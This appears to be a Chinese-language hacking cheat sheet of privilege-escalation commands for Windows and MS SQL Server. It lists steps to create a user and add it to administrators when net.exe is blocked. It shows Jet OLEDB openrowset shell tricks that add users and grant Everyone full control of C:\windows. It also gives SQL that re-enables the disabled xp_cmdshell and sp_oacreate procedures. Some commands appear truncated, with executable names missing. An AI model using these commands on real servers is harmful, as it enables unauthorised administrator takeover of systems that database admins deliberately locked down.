提权命令大全
net net1被禁止时执行CMD命令
第一步： /s /p 或者 /s /p
第二步：C:\WINDOWS\system32\ user 123 123 /add
第三步：C:\WINDOWS\system32\ localgroup administrators 123 /add
◆◆◆◆◆◆◆◆◆◆◆◆◆◆
沙盘模式提权
进入注册表命令禁止
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cacls c:\windows\ /e /t /g everyone:F')
net net1都被禁用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(" /y")')
如果cmd被禁用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user user pass /add")')
◆◆◆◆◆◆◆◆◆◆◆◆◆◆
除了xplog70.dll其他的都可以用这命令修复
第一步先删除：
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
服务器: 消息 3701，级别 11，状态 5，行 1
无法 除去 过程 'sp_addextendedproc'，因为它在系统目录中不存在。
服务器: 消息 3701，级别 11，状态 5，过程 sp_dropextendedproc，行 18
无法 除去 过程 'xp_cmdshell'，因为它在系统目录中不存在。
第二步恢复：
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
直接恢复，不管sp_addextendedproc是不是存在
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
1.未能到存储过程'pcmdshell'之解决方法：
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
◆◆◆◆◆◆◆◆◆◆◆◆◆
恢复sp_addextendedproc语句：
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
◆◆◆◆◆◆◆◆◆◆◆◆◆

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。